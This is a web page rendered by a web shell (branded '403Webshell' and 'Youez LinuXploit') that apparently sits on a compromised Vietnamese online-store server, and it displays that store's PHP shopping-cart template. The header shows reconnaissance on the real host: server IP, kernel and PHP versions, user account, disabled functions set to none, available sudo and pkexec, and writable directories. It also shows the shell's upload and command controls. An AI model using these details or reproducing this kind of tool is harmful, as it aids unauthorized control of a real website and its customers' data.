403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.74
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/khonguyenlieu.vn/public_html/site/views/sanpham/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/khonguyenlieu.vn/public_html/site/views/sanpham/viewcart.php
<style type="text/css">
.s_pay a span {
    background: #ff5722;
    color: #FFF;
    padding: 12px;
    margin-top: 15px;
    display: block;
    border-radius: 5px;
	font-weight:bold
}
.s_pay a span:first-child {}
.s_pay a span:last-child {}
</style>
<div style="padding:12px 0;"><a href="<?=site?>">Trang chủ</a> » <span>Giỏ hàng</span></div>
<div class="wrap">
    <h2 class="title">GIỎ HÀNG</h2>
    <table width="100%" class="tblcart">
        <tr>
            <th scope="col" style="width:80px;">Picture</th>
            <th scope="col">Sản phẩm</th>
            <th scope="col" style="width:120px;">Đơn giá</th>
            <th scope="col" style="width:120px;">Số lượng</th>
            <th scope="col" style="width:120px;">Xóa</th>
            <th scope="col" style="width:180px;">Thành tiền</th>
        </tr>
        <? 
		$i = 0;
		$total = 0;
		foreach ($cart as $item):
			$subtotal = (int) $item['nb_order']*$item['pro_price'] ;
			$total = (int) $total + $subtotal ;
		?>
        <tr>
            <td style="text-align:center;"><img src="<?=base_url()?>uploads/products/40/<?=$item['pro_img']?>" width="50" height="50"></td>
            <td><?=$item['pro_name']?></td>
            <td style="text-align:right; padding-right:12px;"><?=pricevn($item['pro_price'])?> VND</td>
            <td style="text-align:center"><?=$item['nb_order']?></td>
            <td style="text-align:center; font-size:30px; font-weight:bold;">
            	<a href="<?=site_url('ajax/removecart/'.$i.'/'.$item['proid'])?>" style="width: 20px; height: 20px; display: block;overflow:hidden;margin: 0 auto;"><img src="<?=skin?>images/close.gif" /></a></td>
            <td class="alright" style="padding-right:45px;"><?=pricevn($subtotal)?> VND</td>
        </tr>
        <?
			$i = $i + 1;
			endforeach ; 
		?>
        <tr>
            <th colspan="5" class="alright">Tổng giá trị đơn hàng</th>
            <th colspan="1" class="alright" style="padding-right:45px;"><?=pricevn($total)?> VND</th>
        </tr>
    </table>
    <div class="smit">
        <div class="s_pay"><a href="<?=site_url('san-pham.html')?>"><span>Tiếp tục mua hàng</span></a></div>
        <div class="s_pay"><a href="<?=site_url('thanh-toan.html')?>"><span>Thanh toán</span></a></div>
    </div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit